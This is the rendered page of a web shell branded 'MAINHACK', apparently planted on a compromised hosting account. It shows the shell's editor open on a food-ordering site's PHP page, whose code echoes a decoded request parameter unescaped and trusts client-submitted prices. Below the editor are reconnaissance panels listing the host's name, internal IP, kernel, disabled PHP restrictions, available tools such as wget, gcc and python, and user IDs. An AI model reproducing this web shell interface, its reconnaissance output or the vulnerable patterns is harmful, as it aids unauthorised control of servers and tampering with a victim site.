[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: food-single.php
<?php include('header.php');$mid=base64_decode($_REQUEST['makid']);?> <!-- BANNER --> <div class="banner-inner" style="height: 120px;"> <img src="images/inner-banner.jpg" alt="" class="banner-img"> </div> <?php $sq=$show->readwithdata('food_maker','maker_id',$mid); $num1=$sq->rowCount(); if($num1>0){ while($row=$sq->fetch(PDO::FETCH_ASSOC)){ $title=$row['title']; $mname=$row['name']; $description=$row['description']; $banner=$row['banner']==''?'noimg.png':$row['banner']; $profile_pic=$row['profile_pic']==''?'noimg.png':$row['profile_pic']; $comission=$row['comi_percent']; $open=$row['open_close']; $address=$row['address']; $state=$row['state']; $pincode=$row['pincode']; $locality=$row['locality']; }} // echo $mid; ?> <script> function maker_category(val){ var maker_txt="#maker_cat"+val; var cat=$(maker_txt).val(); // alert(cat); var maker_id='<?=$mid?>'; var open='<?=$open?>'; $.ajax({ type:"POST", url:"ajax_check.php", data:"maker_category="+cat+"&maker_id="+maker_id+"&open="+open, success: function (response){ // alert(response); // window.location.reload(); $('#search').html(response); $('#all').hide(); } }); //alert(cat); } function runMyFunction(){ swal('Added to Cart'); } </script> <?php function searchForMenu($search_value, $array, $id_path) { // Iterating over main array foreach ($array as $key1 => $val1) { $temp_path = $id_path; // Adding current key to search path array_push($temp_path, $key1); // Check if this value is an array // with atleast one element if(is_array($val1) and count($val1)) { // Iterating over the nested array foreach ($val1 as $key2 => $val2) { if($val2 == $search_value) { // Adding current key to search path array_push($temp_path, $key2); //return join(" --> ", $temp_path); return 1; } } } elseif($val1 == $search_value) { // return join(" --> ", $temp_path); return 1; } } return null; } ?> <div class="food-single"> <div class="container"> <div class="row"> <div class="col-md-6 col-sm-6 col-xs-12" data-aos="fade-down" style="transition:all 1600ms ease-in-out;"> <div class="food-single-box"> <div class="food-single-box-img"> <img src="<?=$pic_img?>/<?=$banner?>" alt="single-img"> </div> </div> </div> <div class="col-md-6 col-sm-6 col-xs-12" data-aos="fade-down" style="transition:all 1600ms ease-in-out;"> <div class="food-single-box-text"> <div class="food-single-logo-text"> <img src="<?=$pic_img?>/<?=$profile_pic?>" alt="single-img" class="hotel-logo"> <h2><?=$title?> <span>[ <?=$mname?> ]</span></h2> <a href="given-reviews.php" class="ratingsreviews"> <img src="images/star3.png" class="star-food"> </a> <h4><b>Location :</b> <?=$address?>, <?=$locality?>, <?=$state?> <?=$pincode?></h4> <h3><b>Description : </b><?=$description?></h3> <a href="#" class="">Share <i class="fa fa-share" aria-hidden="true"></i></a> </div> </div> </div> <div class="col-md-12 col-sm-12 col-xs-12"> <div class="recommended-block"> <h6>Recommended Food</h6> <ul> <?php $count=1; $table1='category'; $stmt1=$show->readwithdata('maker_category','maker_id',$mid); $num1=$stmt1->rowCount(); if($num1>0){ while($row1=$stmt1->fetch(PDO::FETCH_ASSOC)){ ?> <input type='hidden' value="<?=$row1['category']?>" id="maker_cat<?=$count?>"> <li> <button type="button" onclick="maker_category(<?=$count?>)"> <img src="product_img/<?=$row1['image']?>"> <span><?=$row1['category']?></span> </button> </li> <?php ++$count;} } ?> </ul> </div> <div class="recommended-foodblock"> <h6>Order Online Food</h6> <div id="all"> <?php $sq1=$show->readwithdata_clause('menu_items','maker_id',$mid,' and status="ACTIVE"'); $num11=$sq1->rowCount(); if($num11>0){ while($row=$sq1->fetch(PDO::FETCH_ASSOC)){ //$s ?> <div class="recommended-foodblock-product"> <form method="post" class="index-add" action="food-single.php?makid=<?=base64_encode($mid)?>&menu_id=<?=$row['menu_id'];?>&action=add&code=<?=$row['menu_id']?>&price=<?=$row['price']?>"> <img src="<?=$pic_img?>/<?=$row['image']?>" alt="single-img" class="templates-cook"> <!-- <img src="images/veg+non-veg.png" alt="single-img" class="prod-veg">--> <h4><?=$row['name']?></h4> <h5>Rs : <b> <?=$row['price']?>/-</b></h5> <input type="hidden" name="img" value="<?=$row['image']?>"> <input type="hidden" name="quantity" value="1"> <input type="hidden" name="product_name" value="<?=$row['name']?>"> <input type="hidden" name="price" value="<?=$row['price']?>"> <input type="hidden" name="menu_id" value="<?=$row['menu_id']?>"> <input type="hidden" name="serves" value="<?=$row['serves']?>"> <input type="hidden" name="comisn" value="<?=$comission?>"> <input type="hidden" name="code" value="<?=$row['menu_id']?>"> <input type="hidden" name="maker_id" value="<?=$mid?>"> <input type="hidden" name="packaging" value="<?=$row['packaging']?>"> <?php $search_path = searchForMenu($row['menu_id'],$_SESSION["cart_item"], array('$')); //print($search_path); if($search_path==1) {?> <a href="cart.php" class="button">Go to Cart</a> <?php }else{?> <input type="submit" value="Add" name="submit" class="button" onclick="runMyFunction();return true"> <?php } ?> </form> </div> <?php } } ?> </div> <div id="search"></div> </div> </div> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.6 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619